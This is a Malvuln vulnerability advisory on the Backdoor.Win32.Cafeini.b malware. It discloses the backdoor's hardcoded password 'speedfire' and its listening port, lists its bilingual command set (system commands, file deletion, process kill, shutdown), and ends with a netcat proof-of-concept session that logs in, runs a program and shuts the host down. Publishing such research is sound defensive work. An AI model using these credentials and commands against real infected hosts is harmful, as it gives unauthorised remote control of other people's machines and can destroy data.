Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/b24c56abb4bde960c2d51d4e509d2c68_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Family: Cafeini
Type: PE32
MD5: b24c56abb4bde960c2d51d4e509d2c68
Vuln ID: MVID-2022-0526
Disclosure: 03/25/2022
Description: The malware listens on TCP port 51966. Authentication is required, however the password "speedfire" is weak and hardcoded in the PE file.

Commands:
REGISTRYTOOLS or RT <ON/OFF> - access to REGEDIT.EXE
REGISTRYTOOLS lub RT <ON/OFF> - dostep do programu REGEDIT.EXE
TELNET <NAME> [PORT] - telnet to remote computer NAME on port PORT (default 23)
KILL <NAME> or <PID> - kills process NAME or PID (both from command PS)
DIR or LS [PATH] - shows files in current directory
DEL or ERASE or RM <PATH> - removes file PATH
COPY or CP <PATH1> <PATH2> - copies file from PATH1 to PATH2
CMD or SYSTEM or SYS <CMND> - returns results of system command (by COMMAND.COM)
TELNET <NAZWA> [PORT] - telnetuje na adres NAZWA na porcie PORT (domyslnie 23)
KILL <NAZWA> lub <PID> - zabij proces o nazwie NAZWA lub PID (uzyskany przez PS)
DIR lub LS [SCIEZKA] - wyswietla katalog
DEL lub ERASE,RM <SCIEZKA>- skasowanie pliku SCIEZK
COPY lub CP <SCIEZKA1> <SCIEZKA2> - kopiuje plik z SCIEZKA1 na SCIEZKA2
CMD lub SYS <KOMENDA> - wypisz wynik komendy systemowej (przez COMMAND.COM)
SHUTDOWN - turn off computer
OPEN <NAME> - opens file NAME with default program (eg. MP3 with WinAmp)
SHUTDOWN - zresetuj (lub wylacz) komputer
OPEN <NAZWA> - otwiera plik domyslnie ustawionym programem np. MP3 WinAmpem


Exploit/PoC:
C:\>nc64.exe x.x.x.x 51966
 CAFEiNi 1.1
Enter your password:
speedfire
[32mC:\Users\Victim\Desktop>[37mexec c:\windows\system32\calc.exe
exec c:\windows\system32\calc.exe
STATUS: program runned
[32mC:\Users\Victim\Desktop>[37m
[32mC:\Users\Victim\Desktop>[37mcd \Windows
[32mC:\Windows>[37mSHUTDOWN
SHUTDOWN
STATUS: I'm going to shutdown computer

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